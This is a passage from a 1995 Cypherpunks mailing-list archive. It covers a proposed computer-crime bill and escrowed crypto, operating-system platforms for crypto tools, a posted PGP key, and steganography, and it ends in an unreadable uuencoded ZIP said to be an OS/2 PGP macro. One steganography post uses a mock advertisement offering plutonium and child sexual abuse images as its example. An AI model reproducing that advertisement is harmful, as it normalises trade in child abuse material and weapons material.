the hacker stereotype, and maybe a floppy disk containing a few usenet 
faq files on the subject.

If you have any ideas, suggestions or contributions to this effort, I'd 
very much like to hear from you.

I'd also like to hear from you if you are a journalist yourself, and 
would like a copy of our release once it is done, or further 
information about our cause.

Or if you'd just like a chat about this subject (wherever you are), 
feel free to mail me.

Thanks,


Alex

-- 
All generalisations are false.  That last sentence isn't a paradox of 
self-reference, and neither is this one.






From Michael at umlaw.demon.co.uk  Sat Jul 15 14:37:59 1995
From: Michael at umlaw.demon.co.uk (Michael Froomkin)
Date: Sat, 15 Jul 95 14:37:59 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <2426@umlaw.demon.co.uk>


In message <9507150128.AA16854 at toad.com> "Brian A. LaMacchia" writes:
[...] 

I agree that as drafted any GAK'ed crypto satisfies the 
affirmative defense under Grassley's s. 1030(a).

> 
> The proposed 1030A(c) provides a defense to prosecution under 1030A(a).
> So if GAKed crypto satisfies 1030A(c) then it can be deployed without
> fear of prosecution under 1030A(a).  It might still violate ITAR, of
> course, although I suspect any system that satisfies 1030A(c) would be
> granted a CJ.

AFAIK, neither Clipper nor Capstone have actually gotten export 
clearance yet.  No demand?  Fact that there were at last count 
no more than two beta versions of the decrypt processor in 
existence?  Or is my info just out of date....

[...]
-- 
Michael Froomkin                   until Aug 6: michael at umlaw.demon.co.uk
U.Miami School of Law                                     London, England
mfroomki at umiami.ir.miami.edu <-- this will still find me
PO Box 248087 Coral Gables, FL 33124-8087     Rain. Sun. Rain. Sun. Rain.





From tcmay at sensemedia.net  Sat Jul 15 16:04:03 1995
From: tcmay at sensemedia.net (Timothy C. May)
Date: Sat, 15 Jul 95 16:04:03 PDT
Subject: Unix not the Only Place for "Vanguard" Applications
Message-ID: <ac2d93b913021004f19f@[205.199.118.202]>


At 5:59 PM 7/15/95, Jon Lasser wrote:
>On Sat, 15 Jul 1995 an250888 at anon.penet.fi wrote:
>
>> >In addition, now is the time to deploy stego, on a massive scale.
>> >How many stego programs have been released for Unix?
>>
>> Unix?  The masses use DOS, Windows, Mac, and OS/2.  All you Unix gurus
>> with nifty Unix crypto utilities that PC users can only wonder about
>> need to buy PC's and start porting now if you want to get anywhere.
>
>A legitimate point; however, the majority of PC users won't be in the
>vanguard of /anything/ -- it's not the nature of the PC industry.  If all
>the Unix folks do it, then the PC folks might.

I disagree with this, depending on what one's interpretation of "vanguard"
is, and for what products.

For example, I've been a Macintosh user since 1986, despite having worked
for Intel for 12 years prior to that. (Actually, I'm a fan of the Mac OS
and Way of Doing Things and don't care whether the main microprocessor is
Motorola, Intel, or Phlogistonics.)

For many years the most interesting--to me--applications came first on the
Macintosh, then on the PC, and then only occasionally to Unix machines.
Apps like PageMaker, Adobe Photoshop, Illustrator, Fractal Design Painter,
Eudora, MORE, and so forth. Things have changed recently, with Windows
getting the desirable apps a bit earlier than the Mac version. (The Mac
versions of the products above came first becuase of the obvious graphics
and user interface consistencies of the Mac, and the user community in
prepublication, journalism, and art environments. Writing for DOS in those
days was a real lose, because of the lack of a consistent set of standards
and toolbox calls...)

Only one program I use a lot came first on Unix boxes: FrameMaker. And
FrameMaker hit the Mac a few quarters after first appearing on Unix boxes,
around 1988 or so.

I'm not dismissing Unix boxes or Unix tools...they are obviously very
useful for running the Internet and the various tools that access it.
Enough said. (And SGI and Sun are doing pretty well. The "vanguard apps"
that run on these machines, including the well-known imaging apps, are not
things I use.)

But I think the point that PCs (and by extension, Macintoshes, which are a
flavor of PCs) are never in the vanguard is wrong. By my interpretation of
vanguard. (I expect a quibble, this being the Cypherpunks list, about
whether Jon meant "the majority of PC users won't be in the  vanguard of
/anything/ -- it's not the nature of the PC industry" to mean this...)

Frankly, Unix fragmented into a bunch of pieces. Maybe it was because of
the USL-Novell-AT&T-Sun-Unix International-etc. battles (I don't even
recollect who was who in this battle). Maybe it was the News vs. X vs.
OpenLook vs. NeXTStep vs. etc. user interface battles.

In any case, I expect Windows (and Windows NT) will take an ever-increasing
share of the market for at least the next several years. I'm hardly alone
in this expectation.

--Tim May

..........................................................................
Timothy C. May         | Crypto Anarchy: encryption, digital money,
tcmay at sensemedia.net   | anonymous networks, digital pseudonyms, zero
408-728-0152           | knowledge, reputations, information markets,
Corralitos, CA         | black markets, collapse of governments.
Higher Power: 2^756839 | Public Key: PGP and MailSafe available.
"National borders are just speed bumps on the information superhighway."







From mark at unicorn.com  Sat Jul 15 16:17:51 1995
From: mark at unicorn.com (Rev. Mark Grant)
Date: Sat, 15 Jul 95 16:17:51 PDT
Subject: Deployment
Message-ID: <Pine.3.89.9507152344.A1196-0100000@unicorn.com>



So, anyone want to volunteer to port Privtool to Windows ?

	Mark






From pgf at tyrell.net  Sat Jul 15 16:25:04 1995
From: pgf at tyrell.net (Phil Fraering)
Date: Sat, 15 Jul 95 16:25:04 PDT
Subject: Unix not the Only Place for "Vanguard" Applications
In-Reply-To: <ac2d93b913021004f19f@[205.199.118.202]>
Message-ID: <199507152320.AA05094@tyrell.net>


   Frankly, Unix fragmented into a bunch of pieces. Maybe it was because of
   the USL-Novell-AT&T-Sun-Unix International-etc. battles (I don't even
   recollect who was who in this battle). Maybe it was the News vs. X vs.
   OpenLook vs. NeXTStep vs. etc. user interface battles.

Well, it looks like there will be a major Unix mainstream again
with two branches capable of more-or-less running each other's
binaries without too much pain: FreeBSD and Linux.

   In any case, I expect Windows (and Windows NT) will take an ever-increasing
   share of the market for at least the next several years. I'm hardly alone
   in this expectation.

BTW, I hear Linux can now run Windows 3.1 in its DOS box.

Phil







From pgf at tyrell.net  Sat Jul 15 17:00:22 1995
From: pgf at tyrell.net (Phil Fraering)
Date: Sat, 15 Jul 95 17:00:22 PDT
Subject: Finally got pgp... here's my key.
Message-ID: <199507152356.AA07171@tyrell.net>



I know, it's not really signed/verified, but it'll
have to do for now.

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzAIbBcAAAEEANGhGNu6EcmxoqUC/1dHz+ZJinZIXJ1tyrsGdw2vR76uymqn
hYGIzxFTAvB2WMZMko/6VEYOLXF8i6CUrZOg/ojzbExcaS9wYeBsNzY3FsjvEbfI
v0kSIn8bN8YTdUO/OQ1HBgMUvUAGkTaac+hbM9Nxsj1mL8yCM+DFwYBSGL/hAAUR
tCdQaGlsaXAgR2VyYXJkIEZyYWVyaW5nIDxwZ2ZAdHlyZWxsLm5ldD4=
=T1NA
-----END PGP PUBLIC KEY BLOCK-----

+----------------+Quote from _Infinite In All Directions_, F.J. Dyson-----+
| Phil Fraering / \"The English Hierarchy, if there be anything unsound in|
| pgf at tyrell.net\ /its constitution, has reason to tremble even at an air |
+----------------+-pump or an electrical machine."---Joseph Priestly------+





From cp at proust.suba.com  Sat Jul 15 17:19:37 1995
From: cp at proust.suba.com (alex)
Date: Sat, 15 Jul 95 17:19:37 PDT
Subject: Unix not the Only Place for "Vanguard" Applications
In-Reply-To: <199507152320.AA05094@tyrell.net>
Message-ID: <199507160024.TAA05082@proust.suba.com>


MS-Windows boxes and Macs still don't do multitasking well;  that's going
to change soon, and when it does, I'm sure that a lot of nifty new tools
well appear.  But multitasking is important if you want to run servers
(like remailers), and it's very helpful if you want to tie different
programs together (ie., elm talks to premail which starts pgp 5 times and
hands the result to sendmail, all without my noticing). 

The preeminence of unix in a lot of the work that's being done isn't the
result of snobbishness or even personal taste.  It's just a nice,
convenient platform to do the work on.  

People pick the tools they feel comfortable using, and they match them to
the job at hand.  I can't run Pagemaker on my linux box so if I need to do
some layout work I use a mac or ms-windows.  But if I want to set up a web
server I use linux because it's quick and cheap.  If you want to edit a
feature film, use an SGI workstation.  If you want to set up a word
processing system that someone from the temp service will be able to run,
use ms-windows and word.

I'm sure that when windows-95 comes out officially, good tools will appear
for that platform.  But the lack of solid multitasking and freely
available development tools in ms-windows 3.11 is the reason that more
robust crypto tools for that platform don't exist, not an ivory tower
mentality on the part of the people doing the work.






From jamesd at echeque.com  Sat Jul 15 17:29:04 1995
From: jamesd at echeque.com (James A. Donald)
Date: Sat, 15 Jul 95 17:29:04 PDT
Subject: def'n of "computer network"
Message-ID: <199507160028.RAA08597@blob.best.net>



rick hoselton writes:
>> Perry, I don't understand.  If the least significant bits in my gif file
>> follow all the "known statistical distributions", how can anyone know 
>> whether they are "just noise" or are an encrypted message,

Perry E. Metzger wrote:
> Indeed -- how could the recipient even know to look,

Assume we have good public key steganography tools (I am not
aware of such tools.)

The recipient would have to scan a large pile of random 
pictures in the hope that some of the messages, when 
decoded using his private key, decoded into a correctly
formatted message.

Although prearrangement is needed, otherwise he would not 
be scanning this pile of random graphics for secret messages, 
he does not know whether he will receive a message or not, 
and no one else can know if he has received a message or not.

For example:

  "I have plutonium and bondage pictures of nine year old girls
   for sale"   My public key is 7uL623uvGjg8N-u7hO789HcysFhGyvcAgyh
   Interested parties should post replies stegoed into images
   posted on 
   alt.binaries.pictures.erotica.blondes.dinosaurs.oral.fetish.waifs

   Please use only new dirty pictures to hide your message in --
   not images I have already seen.
  "

Then people can post replies without anyone knowing they are
posting encrypted messages.
--
  ------------------------------------------------------------------
We have the right to defend ourselves	|  http://www.jim.com/jamesd/
and our property, because of the kind	|
of animals that we are. True law	|  James A. Donald
derives from this right, not from the	|
arbitrary power of the omnipotent state.|  jamesd at echeque.com






From jamesd at echeque.com  Sat Jul 15 17:29:11 1995
From: jamesd at echeque.com (James A. Donald)
Date: Sat, 15 Jul 95 17:29:11 PDT
Subject: def'n of "computer network"
Message-ID: <199507160028.RAA08617@blob.best.net>


At 04:25 PM 7/15/95 +0100, Andrew Spring wrote:
> If your attacker has a more sophisticated statistical model of noise
> distributions than you do, then he can deduce the existence of message.

Since each hardware scanning device, and each image source, has 
idiosyncratic forms of noise, it is much harder to detect 
unusual forms of noise, than it is to emulate a usual form
of noise.

The attacker will get a huge number of false positives.  He
will not know if there is a whole lot of stego going on, or
he needs to adjust his noise models for a whole lot of
cranky and/or funky scanners.


--
  ------------------------------------------------------------------
We have the right to defend ourselves	|  http://www.jim.com/jamesd/
and our property, because of the kind	|
of animals that we are. True law	|  James A. Donald
derives from this right, not from the	|
arbitrary power of the omnipotent state.|  jamesd at echeque.com






From an250888 at anon.penet.fi  Sat Jul 15 18:02:04 1995
From: an250888 at anon.penet.fi (an250888 at anon.penet.fi)
Date: Sat, 15 Jul 95 18:02:04 PDT
Subject: Front-End for OS/2
Message-ID: <9507160037.AA12722@anon.penet.fi>


Here is a front end for integrating PGP management into the Enhanced
Editor that comes with OS/2 WARP at no extra charge.  The integration
is via a new PGP menu bar item that manages PGP commands with mouse
clicks and hides most of the offputting command-line difficulties.

This file does not contain PGP itself.  The package is a macro only.

Enjoy and imitate!

table
 !"#$%&'()*+,-./0123456789:;<=>?
@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_
begin 666 GCPPGP10.ZIP
M4$L#! H      %&I?!VG[NLN<D\  ')/   ,    1T-04$=01D4N6DE04$L#M
M!!0  @ ( %NZ>AUD7-6!!BP  "Y3   +    1T-04$=01D4N97BM? E<E->UM
M^/<-,,  @C (B.@%-"BR*VI,-&&9&:D(%! UM;$C##!_86:<&<!#4YJ7F*UYM
MM35Y-$VS-$V;9FW3M'EMTC1-TR9-DS9)H^S!)0IA,RZX(*#P/^?>;Q843=[[M
M_Q/FFWO//=L]]YQSS[W?_)2D<XN?."#]/_]W9^35L$5SO7N)&GKF!M_J%QH at M
M2?O]!#3!GYZ/1WGP+ at 1ZVK_C6.LZ*TH72Z/8^I,T)(TH8_.DC 9)DF5I2I*EM
M^8:\S<6;BE-R"W5;"LI2MA7?=ELQ,SK9MN+2C>7%6XJ8O&2)+$U/+UFRA&C#M
M)%]IB6 #H=/J8 GF3*N#) B95H=($#RMGB-!T+0Z5(+)J3 Y1E)'2G!6M'#\M
MS)1ZGM2,H%-3'ZG at BZDD_589N_A7!"-33WZH(O3WI]11$KP]I8Z6X*TI=8 $M
M;TZI R5X8TJMX<2_GM*JPWCK9]B:RUO_A:UPWKH76Q$2W#.EUDK-_A+</07_M
M,07?G7K7EWK?GH+&*:B>@JHIV#GU5P+=/@6W34'!%&1-0?H4I$[]C:#+IF#)M
M%&BGX-1E^.(RC%SFT('+</PRM%^&WUV&5R[#RP+ZXF5X]C+LOPP[+\.W+L/MM
M GK;9:BX#&LOP]@E.',)3EWBT)%+,' )_GD)?G()'KD$K0*Z_Q)\_Q(T7(+5M
MER#[$JP0T/1+L/P2A%R"#R?AO4EX=Y)#WYZ$-R?AC4GXXR2\- at F_%]#?3L*OM
M)^&)27!,PNY)L KHKDFHF82*2<B8A+1)2!'0I9.P>!(2)B%^$A9-0IR QDQ"M
MY"3X3D+/!'1-0,<$AQZ8@(\FX,\3\*,)^*\)>$A ]TW ]R8 )B!O FZ=@/4"M
MNG8"5DW #1,P/@YCXW!^G$//C,,7XW!H''XS#B^,PW,"^HMQ>&H<GAR')\;AM
ML7%X5$!;QV'_.-P]#CO&8?LXW":@%>-0.@[KQR%H' +'P5] ?<9A^B(,781?M
M7807+\+S%SGTF8OPLXMPST7(O0BW7H3U KKV(JRZ" LNPN=CT#<&Q\8X]/ 8M
M](S!W\?@X3'8/P8_$- 'Q^"^,=@]!MECL&(,, at 4T=0R6C4'H&'1?@(,7X),+M
M'/KA!7C_ KQ^ 9Z\ (]=@$<%M/4"[+\ < %678"5%R!+0-,N0/(%"$?:\_#QM
M>?CP/(>^?Q[>/0]/GX?-YZ'L/'Q=0#>=AX+SD'P>CIV#H^?@\#D.[3D''>?@M
M+^?@SG/0<@[N$- ]Y\!Y#LK/0<@Y"#H'@0+J=P[D<]!_%IXX"X^=A4?/"LW.M
MPOZSL.<LK#L+-YV%&P4T^RQDGH6(L_#/47AW%/XVRJ%OC<(;H_#Z*+PV"K\?M
MA5<%]#>C\-(H_'(4]H_"OE'X3P&]?Q3VCD+S*&P=A8I1*!?0DE$H'(7<45 at XM
M"M&C,&_T;V'2?,F&0^_(F$2FSNC], MA3HF5X(LS2?IM?C ^W0(?G]EW)[QUM
M)DQ>(*D#67,@@]=QL%$,_OK,PTB1(4E^\!)"?^@'+YQIA8?.[$.&#YQYQ$^%M
M#.$;9Z#A-%A/A_G$$0L2H-8PQ#"??MW/GS!J3OO*8#K=AJ-026TCMC4,;C_=M
MK&%:=1"G@>VGD_0GN5R$PFW8D]6P[;0ZF!ERU;#\-"2?AJ6G8<EIB#\=YK=0M
MPH'F8 8,$9>H.1GV%I[^4 4+3AOU2#+_-$*T$'U:BZ at P<FK?G32]H5-)^KO4M
M<.R4.H0U!S$X>DK+T0[C]UQ)RPTQAS7/8="%F-_EG V_4<,G+H*/%8(/\3M\M
M!L%[2/ ;M6L&[V#O;VIXXY0ZE!E.J0GT&H(ZU/"B%^AY! VIH54!P?>IT1S*M
MX,%36K at 3/RTH)@3%W8%MQRFM>T%V(V&\/UA/M<*64[0 at Q:>6^ON1N=\\289^M
M[F03/I\^R9<%!3UU$@W_Y,DD_3?]<9YH='CD)-G6[(^SH.X/J0L/G.23N^^DM
M%AKQ8S[9A$/5)V'G26YS-$$( ^-)HWY. %^U'<CQ%_[<6[Y)$KZ!_=?]$0GWM
M"L-;O!$NG&X;C at SYPQ;"VHSM(_YH3<+JYXUPB3,IH^&OX_"$?YBT2&JE1;T5M
M%<G 3]I);@J:[ TG(P."7>Z\&-&7!G#RE"]H[E%?T-SG?N&:>^@7_C3#$/Q"M
MIPG at TPCDJZ:1R-PA3%\? .=/J,.8P1$ O=3 !=7?&] <QN#O)[0T\$/>>9EWM
M<('T/^?]A\3 at KWC'R3NPZ403/M><@%4G8.4)R#H!Z2=PBOC'/<?U ?\3VK  M
M)MTD9\]EJMU^)\*9K7DN Y\36I!.Y*HC6',$@ZF1"KUOH.&!P.9P!I=&VO +M
M_PZV:=5:UJQE<&XD29\<"*,C."G#O8$$&D+0ND 8\ (=15!)(!P>P4DKH X$M
M509"FQ?H7PAJ#(0/1L at 9!>AM!-T;"&]QT.T!I-&;"#H?2"L;(*&5L%Q <U"YM
MH)'TKP;"ZR-83!C^& BO4 .MK?\HL!G+BY='M/#2B)9@@1(QP)$!/O("AQK.M
M\\YSB/8,!^ R/SYR*9 GF<=&J/#YR0 at 5-LX16N,=([3&VT:4-:8 &%FF"7+YM
MQ"94\F8-]XF-(^A2&T;N(:K5(V%R/'H55DZK$.-V at 1$X at DE0/1*;*6L8Z> [M
MHL54H045?L^1<#5&/+F!KR-,#"?I?ZJ!B\.QQ"!3#F84E&AON#!,$3(VO78.M
M^Z-F?E Z6BC+)Y2AW\D2G!NNT'^J at 5$D^]?POD0N_(-A-)]=!?\87J/7!I$IM
MR>>&6R7*(<.Q=\++P^1.SP_SF08Q3F6("C+\48-_B3P9/(OJK J"9X9;X>?(M
M>\_P/D)"#HL?C9.@<5B-;N4<S at AF?J19."L/ZD'-PE&S"-(,%W7W,";.:F3CM
M"((JPD=/U+<$X=#-,HT;:;P"QQ_RP,H)5HRP7PH8W#*,WSB5=3B5OQ+L<5EXM
ML<"_B?"S$+\S"#)(AJ$\*%'" $\3LTVAV28.T_SCAW'-%B)J2# %UH)A+80-M
M\TB+Y8 Y"/#A .K)V+LTI(6)(6USJ,1CL'^(C'9D2#$:ND?GT(;@2)=[M \EM
MZ;\1S.U_<(@<XY,A7QG=B%+R1SAV1S"\/X1TAKN"X>TA9=%_.D0[R59X$A'>M
M"88'AN#.(0IJ:$'9._"S'3^WH0X$R\9VNA"/_D""4H>0.UIG^= :_>G at 9BSGM
MDY'1L6 ESV$9C-W30JDD!7<)XD:&0.*0VVT3$ DAM,E at X3\'>]M"P&^(^ZF*M
M*T at I\_-!+?0-NGKO\1;\=K )GR\->BOUPJ 0]-S@&OWC(<T87L\.)F$+]@_"M
MO8-PSR#<-0C?&>3)7^QR=^#XCX0"&/PA$ID,$/9!"!0.PBV#L'X0;AJ$58)&M
M;&;98EQLTOL@:Q!#+8QEA+% \C0_K))1PW#6%,["Y 3)!K&#Z)S:UF]"S&!KM
MIAQ!D]B'<C#E092B<"0JG#Z'4E0$SC5T$%<>K1X\2'D1- I2 "*5<R0U(JD0M
M*03--#W D2X/"*3)@37Z!HXT/B#B?4P at G%<0SB+"CSC"*40(1H0O!ESI=V1 M
M"T,(174)@LEC 'M:)I)%B&=*!P;V46+XUT"2?FK.,Q*&PP<#/';_,?!O^/L M
MQL<9M13&(FGDG8%6;,)?!S >>'J)%.EE'B/P7P;440S^/*".9O"G@>9Y/-O$M
ML*6AMM#TYAB,Z?DLDC7/QTIN ./MURC0$ HO$5%S%--O#<4AC-47B)ZPGB.LM
MGR)6?2@\05B&I:&)S<C[,80]$<I5?52H^@BJVNI1%5/$P[B$A/ PU_ at 9V(\JM
M$^T/D-88!M\?4,>RYEC4:0'IM(#]4AW'X+Z!YCBTJWYK&-PP0"ZZ@!7!8C3RM
MYC!L0@(IQ)!! '7YX,*!)S]2J7D'8FE8A<.)82 /T(8P_3F5KIR/%BY_SKT^M
MEL'DYS)*SXAD?MBKT!>$&9"_2Q?#X5##[6$PW4\UT*DP&*(&#/2+%>_O7Z/_M
M61@<%UW]@V$419_UN^+I2+\6VO%SL!]C7>*Q]8F"^FD8?*PP^1"9O,LIWW-3M
MOHM43^/GJ7Z1J8)YQGFB/TE_BF/>Q3&E2 9W]I-%J635SYE+0]]!LEU\&"KZM
M*9!+^I5 QN2VH7_)7'<]I$=V:^;R\,[OI^26VT]5T"W]L<2M<2Z$]X-?/_CVM
M@]P/E_IXG(H,-]F71./C?;%*%:M_=2[EA(L(?W4N'.N#SC[HZ(.#??!1GU<1M
M_B&._WHN_%.A"Z:\D"FCN[_?QQWGO;Y_P[M]Z/]GU!3M;_1I,9G :WV80;2MM
MD?#[OE9X%3\_Z=M'&@:&PX_Z>!)]J$\+/^S3$AK5'UGAI-+2</C//A[(]^/PM
MO=[#<%>?TH&6/DH(/ HQ9LQ]^YKFB$BD#:,2]36&2U3*]BD[..Z0&_NHNH:"M
MOBR?<#:7RBS0]Z&SI2+V=#AV<3.#Y:Y1;"_K$X&/S:0^W+"6D)G"(;&OE5C'M
M$VA1GU%_/!SB^B"VC^)4R_X=_FEX.L3TS5/A!OCO\$2(ZGMX+ at N$R#Z,=JFOM
M"9E-'.<K&\93M&%/)&DR=APUZ3Z.U5B$* &+H/,X107BMQ\7.L'!X_#)<2%FM
M=41N1#I\?)R+61V1"!\>)S&D]@?'W6K_XSCJ^'?DNBL"WCG.U7[Y.*GPO%N%M
M9X_'>JGQ"U+C^TC0&P$/<@):L1<CH.(X\C.\$@'3QY3*M>>8%E[&S_W'N"C'M
M,>);?\S%=]<Q=$V%:^TQY%IT+$D?IX7"8YPK+K16"S__C$CW?4:D]W_F(KWOM
M,PK[>SY#KU88W/49,MCY69)^LQ86<9JXS_AL8C]#JZHYO?39U5:]?!3I^H_BM
MLFGATZ,NJW0?]:QQYU&WL=J/HK$.(O*/M?#)4<[^XZ/(_H]'B?VK1Z]F_PJQM
MOQ\IL*1??Y1XW"SHUA+=$DZW:!:Z.**+1+K<2#AQA.RI+/GP$5KR<*[9X!&WM
M9I\?X5S[CB#7CX\0U_>/S.0*[QU!Y=\]DJ2W1<+?!/H]Q!GN)B(+)ZIU$U4?M
M$8N^82Y4'8G%!'/;D7LCW0EF*[)Y-)(GF IB6W:$BFNJGJ$$"8L(5H at XCT3QM
M;0L3R]>.4-[:<(3*#OT12C6\0NZ-U,SC%;)*U GQ2#06274%9F7_>02:.IRDM
MQQ:5&LS0&YE(Z>;2X23:2R<.)]7JU\^#-P^3RL\=IHKOZ<-\"A at +3QT64W@DM
M"CX_1 B?'"*$?QYR(3QSB(IZ^-XA7C V\%&K:Y0.8O6'DO1[Y\&N0ZZL1D+-M
MAZ#Z$%0=0@<5R>RV0U2ZP)9#O&2)A,V'6J'L4"O=-7S]$#\W0/$A+6S"S\9#M
MKA6C0J$ >Q%*BIKK+A1(<!X*EJ*H),XYI*0G+</N,Q)6'+&'>):*.>0RVME>M
M]),H.-/+B^C>WB:$=?2Z9MG6RSG @5X7_K][T;G>[Z7E at 7V]7,$'>[5@[Z42M
M"O^*P-:+7L:M8A%,M_62<<K<3+^N,"WN)=\P]#X=I7;YA at X9_W<4'\WK13_(M
MZ>7W/K=0>UTOO_=9VZO<^Y"-UB"^,QI6];HKW&R$C$6YKE%68$\3#3&]Y!)EM
MT02*0E!<-/AZ at 50(RHB&_D\]H&.?)NGSHN$#+] _$%06#2\0"'[\*3^$_^A3M
MOA/#=S[5PK<_Y>M%!*]R D""^Z*AE/-X at 8-*$/23:,CP J4AZ(5HN-!#;/MZM
MB*VR+_ZN1PO[>OB>#3VT9SMZE#V;7&EW3Y+^:#2?*!K"BKT+T6#IH9-N?8]2M
M6>_J,>K]8L01(8A1"8ZH9D1='T/%>$V/J%A-*.A;/;P:@=NQO;U'S 2/]@_$M
M\/LT)#%SDJTX7*&@EF.[M(??8WE02Q#U 8Y:A,.%"NK7>OB>O;Z'[]E+0B5EM
MO6]&[&=B<!)[86V//RWU&OS28#; (,_L<5^1"8,L1^R#')N7!\D]R)/G"/3+M
MI3WD<3?TD(]B=IC+)F*^-3\=XX&2<0C?CA?WM %#%M^<3[OXPAZ9#H#A[":YM
M7B751S!\9FO9M(VRXX(><1:=WR,_H8*HGGLHZG "D3T\ZB"BAY?I-.V)F$1*M
MAW-[6J4@?IX,11%/S(>);FCOI at G P6XM?-C-EPXG\:]N6J)_=M,;F0^Z]\(KM
MW5A;P*^ZX<5N>+X;GNV&7W0W\\M4+3FZZP-W=+ON>R*9:G=S]SQF:\9*;P\RM
M;^C.%?4Y.+J3].?F&\;F&YZ8C[4]3BU8R at Z2IFUDM 19%E;?C5BQL6!#Z99NM
M;O6Z;K(Z[.JF=/M_NNG=D+E;'2IQZPKC5W>OT9?&0F4W3<+83;EX1S<-\%Q<M
M&_OC!=ZY^)O=;<KQNJS;2%^;NHT^]%V W_I'8 at VUL=3+0TW^$$ONG(/L7R&PM
MX0^Q< NQI_%L'._DXRMP_!,^WAD+F:[Q5!P?B(7E7)UEW91=DKI1_D%Q4S$5M
MNW1!.BPA""YT&RYH(K)9LD#ITV3CB<BP=(%A*C:1LN<BY+B.$""NNTTI;&.[M
M,>?%="=1.XK:D=VX=Y at 7B&NY(HCHIGU5X,[M_D@%H0(WA-I!A-OJQ at WLII=GM
M00QGDD at X 2CO^06@)LLW1R_6O[8 _MI%Q="?%\ CU*"M]7M==)%Z?Q?<T\7KM
M9G%ZW-N5I#^V .[NVDN]_^A*0GKX;E>2CWYB 7RG2\'Z-F)%Q %0'YJZU'AZM
MB8F#!FIDRGC\LW:1)T-]%QX0NK3-84K$"7\R(;$N3D1<-%.\ 2J[U#'\X+VEM
M2ZO&0V!Y%QX%M7C6CF42'M]*N]QN\=VXX3AOMRCI:H-"Y#D0AV=-^%J73(Q"M
ME1!<P$,PCD(03VH;NO")*Z;OHA#,Z[H'3W"0T\6/:;>@HG$8?@M9\T*6$<O\M
M;O:)98;OQB7"NJZ'8_%0B5K<U-4JS6,DYD84N'8AK.[*\EG$\$2YB.3-D;)#M
M,2XP_^%?$61WT1+.D20\^JW at E#1IHLY$:OM"6- %%SNYI<YV<BO!F4XMC'3RM
ML(YB1#?4R>D&._>22O-4*"J2Z1]8"!]UJADS_& AO$T-^$NG.I[!6YWJ!$[VM
M9B?\MA->ZH07.D-]U8FL.1'+D<XD_=L+X8'.?7!_YUZXMY. >SOAKDZXLS/4M
M3[T8CR@$"U6IES"XHY,F#96=S4N8/Q@[[\$1?TSEG?[:)I2WO1-NZX0MG5#>M
M.5MBN;73E5ANP,2ROG,1L\'- at KFM^0;<<'&>JSMSU4FL.0DCLC,)#0 at K.]&KM
M&Q:1_EEBVIF=E#4R.NF-,IEN$3I[6N<:_1.+L,E[*9WD^HNN6 #DF8RS'5Y$M
MQNI=U!R/^Y34G,"0#^WGRW"L=Q&\V:%>BF;I:,+GTQV*T0V/+20%GNIPKQ<RM
M>[(CB>@>[\ \\R!#1O!81Y(^$MU,0H/C$!K?D,D'6CO$.1K!N" /=_#=$(>)M
MZ?X.?O9$+U[&=.P^EMZ\#+TXF34GXTQ^T+%&7TM-WOM^!_D.[^#4L.IC\$ 'M
M=K0*;!F[2V70L414$C4F/6G_HS?@]Z-FKV+6[H!;.N#&#N4E&*SNP(B68!6.M
M#B9 9@=_*2^N%S,0ULL at Q1NVO,.H/T$MM1_GNJA#J]9*35HI3$Z4*O4LGH!AM
MLP$#O(%Z1P+?=OTZ4+BV%7S<%L!:)7Y70CI&=99*%!]R!V;!Z78\!\<;#/$(M
M.0B7VROT5J5WD[Q[LGT.VSW>'LJR5;3*M"NWX^J+/>%\>Q)]G6U/JJ7O,_BMM
M?R/>54">:B=[XI'\S_&&M^,-=], ?-'^D8MZ1% /*=0#1#WNINYO)R]#ZDOQM
MAFEB at .GGE\KMXV'4.":!;LDQY]<F$*@'02D<Y"<IH ,(TG%0&'\Y,=<U\ $.M
M;.4#X2[0VPBJY: (">>>"&^U\SH D^.;J#&\T6ZD]NO4_D,[NN2C"=3_[W8MM
MRH-7VN&E=GBA/<V7G]#@^79:<5J99]NUS5'HC%%\19]NU\+/VN&G;L0G$?%8M
M CS>KIXG&=!'?D*-YGD2_!@'U(EP=SN<:8.1-I='#;7MI=&!MC7TU=]6X:/?M
MD B_;T/F6GBU30NOX*>QC1\'C6VTY7S#14L$V]IDY-\4P?T$]Y&F,-&*9$USM
M16L>'D%$*XJR'FQI2]+?F0 at WM5'AA,%Y(_;_D$@A_K-$B&GCYX8H+L^ 8)3GM
M at PK(;>+$,WV0GW)P_[E\,$G_.9$A#QDFL=>5"!T'B>QS3M9V4 N_$^BXO;V"M
M"#&+%72DE^%EA 0MAH<X"0XAR0^1I$F0>!"16H:&@Q7ZO,7PK8-D at -L.NHRWM
M]>!>J, /!BZ]!:?U*T1Z-$V45(1[;I&,.;5(AH*#KI< NH-K]$\N!OD at 3[!3M
M![30?8".+/#. =K(_WS 50R^=F O,H'?(\;O\//* 2WRT\++V/[5 ?$:Z45LM
M_Q*I0]@=&%FM]"+HYP>2Z.NI ^CX1Q<_!D\<(,S6ID#EMA at 559F8*C5+E;K&M
M-VO]#9DRD]?C!T'5,O/3E986E_IEKEJY<HW68-ZYTVIA)882IK=;+4ZFLU0MM
M-NVI-)FJ',Q9:V)UYGJSDUFK6=;*-:RRUF at W5CI-=D>::AG+VVPQ[JPS,:>5M
M55KK;74FIXF3V$V[&TP.IZF*(:[9:DECK!S!B%-OM%0A1PNR-5EJG+5LJ0^RM
M565F!MIJ;-6F-&>]3<Z4,TBWS%6SZB:OC"ZVL]*<HOPRG2X_+;>@*(69S"C5M
M'B]K%N19&^JJF,7J9-5FE.2-%B^OD#,8TH*UP<X<IDJ[R<EVF8#9S98:+QZ+M
MK^ Q&WJ\G"5GR/$RB] @0UO#SCISI7M0CE]T!8LK$)B<$7L%1LGFW-*"(D,:M
M3C4>.6=>QP!K-QEWF9BCP2YL766VFRJ=5CM at S^A$&UN<1K/%P6G,#F:VB F4M
MY)1O2%-I-'(:R4C3;=6Q)J.#*X HQ,AF=-:FL)T-3CY0;6U M7!(7NE9D/V>M
M];8W<+4XHYVF2F.#P\3,)-XUK9TF#P]A6RZ%]&!6.T&1G'KQ&LW_?D:SNT@&M
M+8\DETB^VW% WHY-7T+WX3UY+<YH.WYV![C\P[],ET?V]U?6P:=\4XEZT[:BM
MG$TZQ$N2$S!V,KU:B?(Z_D08QIG_]C3T7GMEP';\2C-;S'ZZK05EY4';4?5JM
M<TV:<X]3(HZ2;[D.GRYKKMC&IR&LP$R61C-.H-Z$<V at TVLW<T+7*$NTTF2SHM
